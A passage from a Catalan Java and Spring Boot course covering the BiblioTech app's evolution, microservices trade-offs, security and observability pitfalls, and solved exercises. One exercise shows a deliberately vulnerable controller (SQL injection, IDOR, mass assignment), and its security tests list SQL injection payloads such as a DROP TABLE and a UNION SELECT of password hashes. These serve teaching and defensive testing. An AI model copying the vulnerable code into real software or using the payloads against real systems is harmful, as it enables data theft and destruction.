1. Multiseu. L'empresa obre oficines a València i Lisboa; cadascuna amb el seu fons.
// El domini incorpora la seu com a concepte de primera classe
public record Seu(Long id, String nom, String ciutat, ZoneId zonaHoraria) { }
public class Exemplar { // NOU: separar Material de les seves copies fisiques
private Material material; // el "que" (compartit)
private Seu seu; // el "on"
private String codiIntern;
private EstatExemplar estat;
}Compte amb les zones horàries: les multes es calculen per dies, i un dia no comença a la mateixa hora a Madrid i a Lisboa. El Clock injectable de 10-05 passa a ser un Clock per seu.
2. Notificacions per correu de debò. Ja existeix el port NotificadorAvisos (12-01), així que és qüestió d'escriure un adaptador nou — amb dues cures: enviament asíncron per no bloquejar la petició, i reintents amb retrocés exponencial, perquè els servidors SMTP fallen.
@Component
class NotificadorCorreuAmbReintents implements NotificadorAvisos {
@Async
@Retryable(retryFor = MailException.class, maxAttempts = 3,
backoff = @Backoff(delay = 2000, multiplier = 3))
public void notificar(Avis avis) { … }
@Recover
void alExhaurirReintents(MailException e, Avis avis) {
// A una cua de fallits, per a reintent manual. MAI perdre un avis en silenci.
repositoriAvisosFallits.desar(AvisFallit.de(avis, e));
}
}3. Aplicació mòbil. No requereix canvis: l'API REST de 12-04 ja és el seu back-end. El que sí que cal afegir és allò específic de mòbil: notificacions push, sincronització sense connexió, i paginació per cursor (12-04) perquè al mòbil es fa desplaçament infinit.
4. Esdeveniments. BiblioTech ja publica esdeveniments interns amb ApplicationEventPublisher (12-02). Quan altres sistemes de Nexus Software necessitin reaccionar-hi, aquests esdeveniments surten a una cua:
@Component
class PublicadorEsdevenimentsExterns {
@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
public void publicar(MaterialRetornat esdeveniment) {
// Patro "outbox": desar aquest esdeveniment a la MATEIXA transaccio que el
// canvi, i publicar-lo despres en un proces a part.
// Sense aixo, una fallada posterior al commit fa perdre el missatge.
repositoriSortida.desar(EsdevenimentSortida.de(esdeveniment));
}
}El patró outbox resol un problema real: no hi ha transacció distribuïda entre la base de dades i la cua de missatges, així que desar l'esdeveniment a la mateixa transacció que el canvi és l'única manera de garantir que tots dos passen o cap dels dos.
- Quan NO trossejar en microserveis
Arribats a aquest punt, algú proposarà dividir BiblioTech en servei-cataleg, servei-prestecs, servei-notificacions i servei-informes. Convé tenir clars els costos.
| Aspecte | Monòlit modular | Microserveis |
|---|---|---|
| Desplegament | Un | Un per servei |
| Transaccions | ACID de sèrie | Consistència eventual, saga |
| Depuració | Una traça de pila | Traces distribuïdes obligatòries |
| Refactoritzar entre mòduls | El compilador ajuda | Canvi coordinat de contractes |
| Latència entre components | Nanosegons | Mil·lisegons, i fallades de xarxa |
| Proves d'integració | Directes | Contractes, dobles, entorns |
| Escalar una part | Escales tot | Només el que cal |
| Equips independents | Coordinació | Autonomia |
| Cost operatiu | Baix | Alt i permanent |
Quan NO trossejar:
- L'equip té menys de 15-20 persones. Amb menys, la coordinació no és el coll d'ampolla.
- No hi ha problemes d'escalat que l'escalat horitzontal (12-06) no resolgui.
- No hi ha fronteres de domini clares. Trossejar malament produeix un monòlit distribuït: els inconvenients de les dues opcions i els avantatges de cap.
- No hi ha experiència operativa: observabilitat, desplegament, gestió de fallades parcials.
- La raó és «és el que es porta».
Quan sí:
- Equips que es trepitgen constantment al mateix codi.
- Una part amb requisits d'escalat radicalment diferents.
- Necessitat de tecnologies diferents per a parts diferents.
- Aïllament de fallades crític.
I el camí intermedi, que és el que gairebé sempre guanya: un monòlit modular, que és exactament el que BiblioTech és des de 12-01. Mòduls amb fronteres que el compilador verifica, comunicació per interfícies, i un sol desplegament. Si algun dia un mòdul necessita sortir, en surt — i en surt fàcilment, precisament perquè la frontera ja estava definida.
La recomanació de Martin Fowler, i la més sensata que hi ha sobre aquest tema: comença amb un monòlit ben modularitzat i extreu-ne serveis quan el dolor ho justifiqui. Gairebé ningú no ha tingut èxit començant per microserveis; molta gent n'ha tingut extraient-los d'un monòlit que entenia bé.
Errors Comuns i Consells
1. Desar contrasenyes amb SHA-256. És un bon algorisme per a allò per a què va ser dissenyat, i la seva velocitat —la seva virtut— és el defecte exacte per a contrasenyes. BCrypt o Argon2id.
2. JWT de llarga durada sense revocació. Un token de 24 hores robat és accés durant 24 hores. Vigència curta més token de refresc revocable.
3. Posar dades sensibles al JWT. No està xifrat. Qualsevol el llegeix.
4. Confiar només en la seguretat de l'URL. @PreAuthorize als serveis també, perquè la CLI i les tasques programades no passen pels controladors.
5. Oblidar la comprovació de propietat. Estar autenticat no significa que aquell préstec sigui teu. És la vulnerabilitat de control d'accés més freqüent.
6. Mètriques amb etiquetes d'alta cardinalitat. tag("isbn", isbn) crea una sèrie temporal per ISBN i tomba Prometheus.
7. Registrar cossos complets de peticions. Contrasenyes, tokens i dades personals acaben a l'agregador durant mesos.
8. Alertar sobre causes en lloc de sobre símptomes. «CPU alta» s'ignora en dues setmanes. «El 3 % de les peticions falla» requereix acció.
9. Alertes sense runbook. A les tres de la matinada, ningú no recorda què cal fer. Enllaça el procediment des de la mateixa alerta.
10. Trencar l'API sense avisar. Eliminar un camp trenca tots els clients. Deprecia amb capçaleres, mesura'n l'ús i dona mesos de marge.
11. Actualitzar Spring Boot dues versions majors de cop. Puja una menor cada vegada, amb la suite en verd a cada salt.
12. Trossejar en microserveis «perquè toca». Sense equips grans, fronteres clares i experiència operativa, és canviar problemes coneguts per problemes pitjors.
Consell final d'aquesta part: la seguretat i l'observabilitat no s'afegeixen al final. Es dissenyen des del principi, encara que s'implementin després. BiblioTech les ha pogut afegir ara sense traumes per una raó concreta: tenia arquitectura (12-01), fronteres clares (12-02), errors estructurats (mòdul 6), correlació amb MDC (11-07) i configuració externa (12-01). En un projecte sense això, afegir seguretat i observabilitat és una reescriptura.
Exercicis
Exercici 1: tancar una vulnerabilitat de control d'accés
Aquest endpoint és en producció a BiblioTech:
@RestController
@RequestMapping("/api/empleats")
public class EmpleatController {
@GetMapping("/{id}")
public Empleat perId(@PathVariable Long id) {
return repositori.findById(id).orElseThrow();
}
@GetMapping("/{id}/prestecs")
public List<Prestec> prestecs(@PathVariable Long id) {
return prestecRepositori.findByEmpleatId(id);
}
@PutMapping("/{id}")
public Empleat actualitzar(@PathVariable Long id, @RequestBody Empleat empleat) {
empleat.setId(id);
return repositori.save(empleat);
}
@GetMapping("/cercar")
public List<Empleat> cercar(@RequestParam String nom) {
return em.createQuery("select e from Empleat e where e.nom like '%" + nom + "%'",
Empleat.class).getResultList();
}
}Identifica totes les vulnerabilitats (n'hi ha almenys set), classifica-les per gravetat i reescriu el controlador de forma segura, amb les proves de seguretat corresponents.
Exercici 2: mètriques i alertes d'una funcionalitat nova
BiblioTech incorpora la renovació automàtica: els préstecs que vencen i no tenen reserves pendents es renoven sols cada nit.
Dissenya l'observabilitat completa:
- Quines mètriques instrumentar (nom, tipus, etiquetes) i per què.
- Què es registra i en quin nivell.
- Tres alertes útils, amb la seva expressió PromQL, el seu llindar justificat i la seva acció.
- Els panells del quadre de comandament.
- Com detectaries que la funcionalitat ha deixat d'executar-se sense que ningú se n'assabenti.
Exercici 3: pla d'evolució de l'API
BiblioTech v1 té aquest endpoint, consumit per l'app mòbil, la intranet i un sistema de recursos humans:
GET /api/v1/prestecs/42
{
"id": 42,
"isbn": "978-0000000001",
"empleat": "Marta Ruiz",
"venciment": "2026-08-20",
"retornat": false,
"multa": 0
}Cal una v2 amb: empleat com a objecte ({id, nom, correu}), retornat substituït per estat (enumerat), multa com a objecte ({quantitat, moneda}), i camps nous renovable i diesRestants.
Escriu el pla complet de migració: estratègia de versionat, com conviuen les dues versions, cronograma de depreciació, com mesures qui continua a v1, la comunicació als clients i el codi de totes dues versions.
Solucions
Solució 1
Vulnerabilitats identificades (nou):
| # | Vulnerabilitat | Gravetat | Impacte |
|---|---|---|---|
| 1 | Injecció SQL a /cercar |
Crítica | Lectura i modificació de tota la base de dades |
| 2 | Sense autenticació a cap endpoint | Crítica | Accés públic a dades personals |
| 3 | IDOR a /{id} i /{id}/prestecs |
Crítica | Qualsevol veu les dades de qualsevol |
| 4 | Assignació massiva al PUT amb entitat |
Crítica | Canviar rol, hashContrasenya o version |
| 5 | Exposició d'entitat JPA | Alta | El JSON inclou el hash de la contrasenya |
| 6 | PUT sense comprovar autorització |
Alta | Qualsevol modifica qualsevol |
| 7 | orElseThrow() sense excepció específica |
Mitjana | NoSuchElementException → 500 en lloc de 404 |
| 8 | Sense paginació a /cercar |
Mitjana | Denegació de servei amb una cerca àmplia |
| 9 | Sense límit de llargada al nom |
Baixa | Consultes costoses |
Reescriptura completa:
@RestController
@RequestMapping("/api/v1/empleats")
@Validated
@Tag(name = "Empleats")
public class EmpleatController {
private final ServeiEmpleats servei;
private final GestionarPrestecs prestecs;
// ---------------------------------------------------------------
// Consultar un empleat: o ets tu, o ets ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmpleatResponse perId(@PathVariable Long id) {
return servei.cercarPerId(id)
.map(EmpleatResponse::desDe) // DTO: sense hash de contrasenya, sense rol intern
.orElseThrow(() -> new EmpleatNoTrobatException(id)); // → 404
}
// ---------------------------------------------------------------
// Prestecs: els propis, o BIBLIOTECARI/ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}/prestecs")
@PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARI','ADMIN')")
public PageResponse<PrestecResponse> prestecsDe(
@PathVariable Long id,
@RequestParam(required = false) EstatPrestec estat,
@PageableDefault(size = 20, sort = "dataPrestec",
direction = Sort.Direction.DESC) Pageable paginacio) {
if (!servei.existeix(id)) throw new EmpleatNoTrobatException(id);
return PageResponse.desDe(
prestecs.deEmpleat(id, estat, paginacio).map(PrestecResponse::desDe));
}
// ---------------------------------------------------------------
// Actualitzacio: DTO tancat, mai una entitat
// ---------------------------------------------------------------
@PutMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmpleatResponse actualitzar(@PathVariable Long id,
@Valid @RequestBody ActualitzarEmpleatRequest peticio) {
// El DTO NOMES te els camps modificables.
// Es IMPOSSIBLE enviar rol, hashContrasenya, version o id.
return EmpleatResponse.desDe(servei.actualitzar(id, peticio));
}
// ---------------------------------------------------------------
// Canvi de rol: endpoint SEPARAT, nomes ADMIN, auditat
// ---------------------------------------------------------------
@PutMapping("/{id}/rol")
@PreAuthorize("hasRole('ADMIN')")
@Auditat(accio = "CANVIAR_ROL")
public EmpleatResponse canviarRol(@PathVariable Long id,
@Valid @RequestBody CanviarRolRequest peticio) {
return EmpleatResponse.desDe(servei.canviarRol(id, peticio.rol()));
}
// ---------------------------------------------------------------
// Cerca: parametritzada, paginada, amb llargada limitada
// ---------------------------------------------------------------
@GetMapping("/cercar")
@PreAuthorize("hasAnyRole('BIBLIOTECARI','ADMIN')")
public PageResponse<EmpleatResumResponse> cercar(
@RequestParam @Size(min = 2, max = 100) String nom,
@PageableDefault(size = 20) Pageable paginacio) {
return PageResponse.desDe(
servei.cercarPerNom(nom, paginacio) // consulta PARAMETRITZADA
.map(EmpleatResumResponse::desDe)); // resum: encara menys dades
}
}Els DTOs, que són on resideix la defensa estructural:
/** Sortida: nomes el que aquest endpoint ha de revelar. */
public record EmpleatResponse(Long id, String nom, String correu,
String departament, LocalDate dataAlta) {
// SENSE hashContrasenya, SENSE rol, SENSE version, SENSE dades internes
public static EmpleatResponse desDe(Empleat e) {
return new EmpleatResponse(e.getId(), e.getNom(), e.getCorreu(),
e.getDepartament(), e.getDataAlta());
}
}
/** Resum per a llistats: encara menys informacio. */
public record EmpleatResumResponse(Long id, String nom, String departament) { }
/** Entrada: NOMES els camps que un usuari pot canviar de si mateix. */
public record ActualitzarEmpleatRequest(
@NotBlank @Size(max = 150) String nom,
@NotBlank @Email @Size(max = 200) String correu,
@Size(max = 100) String departament) {
// Ni id, ni rol, ni contrasenya, ni version. Estructuralment impossible.
}
public record CanviarRolRequest(@NotNull Rol rol) { }I la consulta segura:
public interface EmpleatRepository extends JpaRepository<Empleat, Long> {
/** Parametritzada: el valor MAI no es tracta com a SQL. */
@Query("""
select e from Empleat e
where lower(e.nom) like lower(concat('%', :nom, '%'))
""")
Page<Empleat> cercarPerNom(@Param("nom") String nom, Pageable paginacio);
}Proves de seguretat, que són les que impedeixen que la vulnerabilitat torni:
@WebMvcTest(EmpleatController.class)
@Import(ConfiguracioSeguretat.class)
class EmpleatControllerSeguretatTest {
@Autowired MockMvc mvc;
@MockitoBean ServeiEmpleats servei;
@Test
void senseAutenticacioRetorna401() throws Exception {
mvc.perform(get("/api/v1/empleats/1"))
.andExpect(status().isUnauthorized());
}
@Test
@WithMockUser(username = "2", roles = "EMPLEAT")
void unEmpleatNoPotVeureLesDadesDeUnAltre() throws Exception {
mvc.perform(get("/api/v1/empleats/1")) // qui te la sessio es el 2 i demana les del 1
.andExpect(status().isForbidden()); // ← IDOR tancat
}
@Test
@WithMockUser(username = "1", roles = "EMPLEAT")
void unEmpleatSiPotVeureLesSevesDades() throws Exception {
when(servei.cercarPerId(1L)).thenReturn(Optional.of(unEmpleat(1L, "Marta Ruiz")));
mvc.perform(get("/api/v1/empleats/1"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.nom").value("Marta Ruiz"))
// Comprovar EXPLICITAMENT que no es filtra res
.andExpect(jsonPath("$.hashContrasenya").doesNotExist())
.andExpect(jsonPath("$.rol").doesNotExist())
.andExpect(jsonPath("$.version").doesNotExist());
}
@Test
@WithMockUser(username = "1", roles = "EMPLEAT")
void noEsPodenEscalarPrivilegisEnLaActualitzacio() throws Exception {
// Assignacio massiva: enviar camps que el DTO no te
mvc.perform(put("/api/v1/empleats/1")
.contentType(MediaType.APPLICATION_JSON)
.content("""
{"nom":"Marta Ruiz","correu":"[email protected]",
"rol":"ADMIN","hashContrasenya":"elquesigui","id":999}"""))
.andExpect(status().isOk());
// Els camps maliciosos queden IGNORATS: el DTO no els te
ArgumentCaptor<ActualitzarEmpleatRequest> captor =
ArgumentCaptor.forClass(ActualitzarEmpleatRequest.class);
verify(servei).actualitzar(eq(1L), captor.capture());
assertThat(captor.getValue().nom()).isEqualTo("Marta Ruiz");
// No hi ha manera que 'rol' hagi arribat al servei
}
@ParameterizedTest
@ValueSource(strings = {
"'; DROP TABLE empleats; --",
"' OR '1'='1",
"%' UNION SELECT hash_contrasenya FROM empleats --"
})
@WithMockUser(roles = "BIBLIOTECARI")
void laCercaEsImmuneAInjeccioSql(String carregaMaliciosa) throws Exception {
when(servei.cercarPerNom(anyString(), any())).thenReturn(Page.empty());
mvc.perform(get("/api/v1/empleats/cercar").param("nom", carregaMaliciosa))
.andExpect(status().isOk())
.andExpect(jsonPath("$.contingut").isEmpty());
// La carrega arriba com a VALOR literal al repositori, no com a SQL
verify(servei).cercarPerNom(eq(carregaMaliciosa), any());
}
@Test
@WithMockUser(username = "1", roles = "EMPLEAT")
void unEmpleatNoPotCanviarRols() throws Exception {
mvc.perform(put("/api/v1/empleats/1/rol")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"rol\":\"ADMIN\"}"))
.andExpect(status().isForbidden());
}
}Solució 2
Mètriques:
| Mètrica | Tipus | Etiquetes | Per què |
|---|---|---|---|
bibliotech.renovacio_auto.execucions |
Counter | resultat (exit, fallada) |
S'executa, el procés? |
bibliotech.renovacio_auto.duracio |
Timer | — | S'està degradant? |
bibliotech.renovacio_auto.candidats |
Gauge | — | Quants préstecs avalua? |
bibliotech.renovacio_auto.renovats |
Counter | tipus_material |
El resultat útil |
bibliotech.renovacio_auto.omesos |
Counter | motiu |
La més informativa |
bibliotech.renovacio_auto.ultima_execucio |
Gauge | — | Marca de temps: detecta que ha deixat de córrer |
La clau és a omesos amb etiqueta motiu (amb reserves, ja renovat, empleat amb multes, material retirat): si un motiu es dispara, hi ha un canvi de comportament que cap mètrica agregada no revelaria.
@Service
public class RenovacioAutomatica {
private static final Logger log = LoggerFactory.getLogger(RenovacioAutomatica.class);
private final MeterRegistry registre;
private final AtomicLong ultimaExecucio = new AtomicLong(0);
@PostConstruct
void registrarGauges() {
Gauge.builder("bibliotech.renovacio_auto.ultima_execucio", ultimaExecucio, AtomicLong::get)
.description("Marca de temps Unix de la darrera execucio correcta")
.register(registre);
}
@Scheduled(cron = "0 0 3 * * *")
@SchedulerLock(name = "renovacioAutomatica", lockAtMostFor = "30m") // 12-06
public void executar() {
Timer.Sample mostra = Timer.start(registre);
MDC.put("proces", "renovacio-automatica");
MDC.put("traceId", UUID.randomUUID().toString());
int renovats = 0;
Map<String, Integer> omesos = new HashMap<>();
try {
List<Prestec> candidats = repositori.vencenEn(1);
registre.gauge("bibliotech.renovacio_auto.candidats", candidats.size());
log.info("Renovacio automatica iniciada: {} candidats", candidats.size());
for (Prestec p : candidats) {
Optional<String> motiu = motiuPerNoRenovar(p);
if (motiu.isPresent()) {
omesos.merge(motiu.get(), 1, Integer::sum);
registre.counter("bibliotech.renovacio_auto.omesos",
"motiu", motiu.get()).increment();
// DEBUG: es el cas normal i no ha de saturar el log
log.debug("Prestec {} omes: {}", p.getId(), motiu.get());
continue;
}
gestor.renovar(p.getId(), null);
renovats++;
registre.counter("bibliotech.renovacio_auto.renovats",
"tipus_material", p.tipusMaterial().name()).increment();
}
ultimaExecucio.set(Instant.now().getEpochSecond());
registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "exit")
.increment();
// INFO: una linia amb el RESUM. Es el que un operador voldria veure (11-07).
log.info("Renovacio automatica completada: {} candidats, {} renovats, omesos={}",
candidats.size(), renovats, omesos);
} catch (Exception e) {
registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "fallada")
.increment();
log.error("Renovacio automatica fallida despres de renovar-ne {}", renovats, e);
throw e;
} finally {
mostra.stop(registre.timer("bibliotech.renovacio_auto.duracio"));
MDC.clear(); // regla de 11-07
}
}
}Les tres alertes:
# ALERTA 1: el procés ha deixat d'executar-se.
# La MÉS IMPORTANT, perquè és una fallada SILENCIOSA: res no dona error,
# simplement els préstecs deixen de renovar-se i ningú no se n'assabenta
# fins que comencen a arribar multes indegudes.
- alert: RenovacioAutomaticaNoExecutada
expr: (time() - bibliotech_renovacio_auto_ultima_execucio) > 93600 # 26 hores
for: 10m
labels: { severitat: alta }
annotations:
summary: "La renovació automàtica no s'executa des de fa {{ $value | humanizeDuration }}"
accio: |
1. Existeix el CronJob/planificador? kubectl get cronjob bibliotech-renovacio
2. Hi ha un bloqueig de ShedLock encallat? select * from shedlock where name='renovacioAutomatica'
3. Executar manualment: bibliotech prestec renovar-automatic --simular
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacio-auto"
# ALERTA 2: s'executa però falla
- alert: RenovacioAutomaticaFallant
expr: increase(bibliotech_renovacio_auto_execucions_total{resultat="fallada"}[25h]) > 0
for: 5m
labels: { severitat: alta }
annotations:
summary: "La renovació automàtica ha fallat"
accio: "Buscar als logs: proces=renovacio-automatica level=ERROR"
# ALERTA 3: canvi brusc de comportament.
# Detecta que una regla s'ha trencat: per exemple, un error que fa que
# TOT s'ometi per 'amb_reserves' quan abans no passava.
- alert: RenovacioAutomaticaComportamentAnomal
expr: |
(sum(increase(bibliotech_renovacio_auto_renovats_total[25h]))
/ sum(increase(bibliotech_renovacio_auto_candidats[25h]))) < 0.2
and sum(increase(bibliotech_renovacio_auto_candidats[25h])) > 20
for: 30m
labels: { severitat: mitjana }
annotations:
summary: "Només es renova el {{ $value | humanizePercentage }} dels candidats"
descripcio: "Revisa la distribució de bibliotech_renovacio_auto_omesos per motiu"Panells del quadre de comandament:
| Panell | Consulta | Tipus |
|---|---|---|
| Darrera execució | time() - bibliotech_renovacio_auto_ultima_execucio |
Estadística amb llindar |
| Renovats per dia | increase(bibliotech_renovacio_auto_renovats_total[1d]) |
Barres |
| Omesos per motiu | sum(increase(...omesos_total[1d])) by (motiu) |
Barres apilades |
| Taxa de renovació | renovats / candidats |
Mesurador |
| Durada | bibliotech_renovacio_auto_duracio_seconds |
Sèrie temporal |
Com detectar que ha deixat d'executar-se — el punt central de l'exercici. Hi ha tres enfocaments, i només un funciona bé:
| Enfocament | Problema |
|---|---|
| Alerta si el comptador no creix | Un dia sense candidats és normal: fals positiu |
| Alerta si hi ha un error | Si el procés no s'engega, no hi ha error que registrar |
| Gauge amb la marca de temps de la darrera execució | ✅ Funciona: és un dead man's switch |
La tècnica es diu interruptor d'home mort: en lloc d'alertar quan alguna cosa va malament, s'alerta quan deixa d'arribar el senyal que tot va bé. És l'únic patró que detecta que un procés ha desaparegut, i s'aplica igual a tasques programades, a còpies de seguretat i a qualsevol procés periòdic.
Solució 3
Estratègia: versió a l'URI, /api/v1/ i /api/v2/ convivint.
Cronograma:
| Data | Fita |
|---|---|
| 2026-09-01 | v2 publicada; v1 marcada com a obsoleta amb capçaleres |
| 2026-09-01 | Guia de migració, documentació i mètriques d'ús de v1 |
| 2026-10-01 | Primer avís als clients amb ús mesurat |
| 2027-01-01 | Avís final (1 mes) a qui continuï a v1 |
| 2027-02-01 | v1 retirada: 410 Gone amb enllaç a v2 |
Cinc mesos de marge, que és el mínim raonable amb tres clients dels quals un (recursos humans) no controles.
Codi de les dues versions, compartint el mateix cas d'ús:
// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestecs")
@Tag(name = "Prestecs v1", description = "OBSOLETA — es retira el 2027-02-01")
public class PrestecControllerV1 {
private final GestionarPrestecs gestor; // el MATEIX cas de us que v2
private final MeterRegistry registre;
@GetMapping("/{id}")
@Deprecated(since = "2.0.0", forRemoval = true)
@Operation(deprecated = true, summary = "[OBSOLET] Fes servir GET /api/v2/prestecs/{id}")
public ResponseEntity<PrestecResponseV1> perId(
@PathVariable Long id,
@RequestHeader(value = "X-Client", defaultValue = "desconegut") String client) {
// Mesurar QUI continua fent servir v1: sense aixo, retirar-la es una aposta
registre.counter("bibliotech.api.v1.us", "client", client, "endpoint", "prestec_per_id")
.increment();
Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));
return ResponseEntity.ok()
.header("Deprecation", "@1756684800") // RFC 8594: epoch
.header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
.header("Link", "</api/v2/prestecs/" + id + ">; rel=\"successor-version\", "
+ "<https://docs.nexussoftware.com/bibliotech/migracio-v2>; rel=\"deprecation\"")
.header("Warning", "299 - \"Aquesta versio de l'API es retirara el 2027-02-01\"")
.body(PrestecResponseV1.desDe(prestec));
}
}
/** DTO de v1: es CONGELA. Ja no se li afegeix ni se li treu res mai mes. */
public record PrestecResponseV1(Long id, String isbn, String empleat,
LocalDate venciment, boolean retornat, BigDecimal multa) {
public static PrestecResponseV1 desDe(Prestec p) {
return new PrestecResponseV1(
p.getId(), p.getIsbn().valor(), p.nomEmpleat(),
p.getDataVenciment(),
p.getDataDevolucio().isPresent(),
p.multaAcumulada(LocalDate.now()).quantitat());
}
}// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestecs")
@Tag(name = "Prestecs")
public class PrestecControllerV2 {
@GetMapping("/{id}")
public PrestecResponseV2 perId(@PathVariable Long id) {
Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));
return PrestecResponseV2.desDe(prestec, LocalDate.now(rellotge));
}
}
public record PrestecResponseV2(
Long id,
String isbn,
EmpleatResum empleat, // objecte, no cadena
LocalDate dataPrestec,
LocalDate dataVenciment,
LocalDate dataDevolucio,
EstatPrestec estat, // enumerat, no boolea
Import multa, // objecte amb moneda
boolean renovable, // NOU
long diesRestants) { // NOU
public record EmpleatResum(Long id, String nom, String correu) { }
public record Import(BigDecimal quantitat, String moneda) { }
public static PrestecResponseV2 desDe(Prestec p, LocalDate avui) {
return new PrestecResponseV2(
p.getId(), p.getIsbn().valor(),
new EmpleatResum(p.getIdEmpleat(), p.nomEmpleat(), p.correuEmpleat()),
p.getDataPrestec(), p.getDataVenciment(),
p.getDataDevolucio().orElse(null),
p.getEstat(),
new Import(p.multaAcumulada(avui).quantitat(), "EUR"),
p.getEstat().permetRenovar(),
ChronoUnit.DAYS.between(avui, p.getDataVenciment()));
}
}La retirada, que deixa un rastre útil en lloc d'un 404 desconcertant:
@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {
@RequestMapping("/**")
public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticio) {
ProblemDetail detall = ProblemDetail.forStatusAndDetail(
HttpStatus.GONE, // 410, no 404: "va existir i es va eliminar expressament"
"La versio 1 de l'API es va retirar el 2027-02-01. Migra a /api/v2.");
detall.setTitle("Versio de l'API retirada");
detall.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracio-v2"));
detall.setProperty("versioActual", "v2");
detall.setProperty("guiaMigracio", "https://docs.nexussoftware.com/bibliotech/migracio-v2");
return ResponseEntity.status(HttpStatus.GONE)
.header("Link", "</api/v2>; rel=\"successor-version\"")
.body(detall);
}
}Mesura de qui continua a v1:
# Ús de v1 per client en els darrers 7 dies
sum(increase(bibliotech_api_v1_us_total[7d])) by (client)
# Percentatge de trànsit que continua a v1
sum(rate(bibliotech_api_v1_us_total[1d]))
/ (sum(rate(bibliotech_api_v1_us_total[1d])) + sum(rate(bibliotech_api_v2_us_total[1d])))- alert: UsDeV1DespresDeLaRetirada
expr: sum(increase(bibliotech_api_v1_us_total[1d])) by (client) > 0
labels: { severitat: mitjana }
annotations:
summary: "El client {{ $labels.client }} continua fent servir l'API v1"
accio: "Contactar-hi abans del 2027-02-01"Comunicació als clients:
# Migració de l'API de BiblioTech: v1 → v2
**La v1 es retirarà l'1 de febrer de 2027.**
## Què canvia
| Camp v1 | Camp v2 | Canvi |
|---|---|---|
| `empleat` (cadena) | `empleat.nom` | Ara és un objecte amb `id`, `nom` i `correu` |
| `venciment` | `dataVenciment` | Reanomenat |
| `retornat` (booleà) | `estat` (enumerat) | `ACTIU`, `RENOVAT`, `VENCUT`, `RETORNAT`, `PERDUT` |
| `multa` (nombre) | `multa.quantitat` + `multa.moneda` | Objecte amb moneda explícita |
| — | `renovable` | **Nou** |
| — | `diesRestants` | **Nou** |
| — | `dataPrestec`, `dataDevolucio` | **Nous** |
## Equivalències
// v1 const estaRetornat = resposta.retornat; const nom = resposta.empleat; const multa = resposta.multa;
// v2 const estaRetornat = resposta.estat === 'RETORNAT'; const nom = resposta.empleat.nom; const multa = resposta.multa.quantitat;
## Cronograma - **2026-09-01**: v2 disponible. v1 obsoleta (funciona amb normalitat). - **2027-01-01**: avís final. - **2027-02-01**: v1 retirada. Retornarà `410 Gone`. ## Ajuda [email protected] — o obre una incidència al repositori.
I una decisió de disseny que val la pena assenyalar: v1 i v2 comparteixen el mateix cas d'ús (GestionarPrestecs). Només canvien els DTOs i els controladors. Sense l'arquitectura de 12-01, mantenir dues versions significaria duplicar la lògica de negoci, i d'aquí que les dues versions es comportin diferent hi ha un pas.
Conclusió: tancament del curs
El viatge de BiblioTech, mòdul a mòdul
Dotze mòduls enrere, BiblioTech no existia. Aquesta taula és el viatge complet:
| Mòdul | BiblioTech en començar | BiblioTech en acabar |
|---|---|---|
| 1. Introducció a Java | Res. Ni un fitxer | Un programa que compila i s'executa: variables, tipus, operadors, entrada per consola amb Scanner, sortida amb printf. Un primer catàleg de tres llibres amb les seves dades |
| 2. Flux de Control | Un programa lineal que només executa instruccions en ordre | Un menú interactiu amb condicionals, bucles, switch i validació d'entrada. I la capacitat de depurar-lo pas a pas en lloc d'endevinar |
| 3. POO | Variables soltes i mètodes estàtics | Objectes: Material, Llibre, Empleat, Prestec amb estat i comportament propis. Herència, polimorfisme, encapsulament, abstracció i equals/hashCode/toString ben fets |
| 4. POO Avançada | Jerarquies de classes i poca cosa més | Contractes: interfícies Prestable i Notificable, classes abstractes, lambdes, interfícies funcionals, referències a mètodes, enum amb comportament i record per a les dades immutables |
| 5. Col·leccions | Arrays de mida fixa | Tot el framework de col·leccions: llistes, mapes, conjunts, cues, piles. Ordenació amb Comparator, cerques, i una pila de desfer |
| 6. Excepcions | Fallades que avortaven el programa amb una traça | Una jerarquia pròpia BiblioTechException, try-with-resources, estratègies per capes, frontera d'errors i logging |
| 7. Fitxers | Tot en memòria: es perdia en tancar | Persistència: E/S clàssica, NIO.2, serialització, un catàleg en CSV i configuració en Properties. Les dades sobreviuen al procés |
| 8. Concurrència | Una sola cosa alhora | Fils, synchronized, ExecutorService, col·leccions concurrents i CompletableFuture. La importació del catàleg va passar de minuts a segons |
| 9. Xarxes | Un programa aïllat en una màquina | Comunicació: un ServidorCataleg multiclient amb sockets, UDP, i un client HTTP consultant metadades externes |
| 10. Temes Avançats | Java 8 fet servir a mitges | Java 21 de debò: genèrics, anotacions pròpies, reflexió i proxies dinàmics, Streams i Optional, java.time amb Clock injectable, sealed, pattern matching, fils virtuals, i mesura real de memòria i rendiment |
| 11. Frameworks | Tot escrit a mà, inclòs un contenidor de dependències casolà | L'ecosistema: projecte Maven, Spring Boot amb IoC i AOP, JPA/Hibernate sobre base de dades, 41 proves amb JUnit 5 i Mockito, Jackson, Lombok i SLF4J amb MDC |
| 12. Món Real | Peces excel·lents sense forma de producte | Un producte: cinc mòduls Maven amb l'arquitectura verificada pel compilador, patrons aplicats amb criteri, CLI professional, API REST documentada, estratègia de qualitat amb Testcontainers i mutació, desplegat en contenidors amb migracions versionades, i amb seguretat, observabilitat i pla d'evolució |
D'un System.out.println a un sistema en producció amb autenticació, mètriques, traces i una canonada de lliurament continu. Aquest és el viatge.
Què saps fer ara
Sense adorns ni falsa modèstia, això és el que pots fer en acabar el curs:
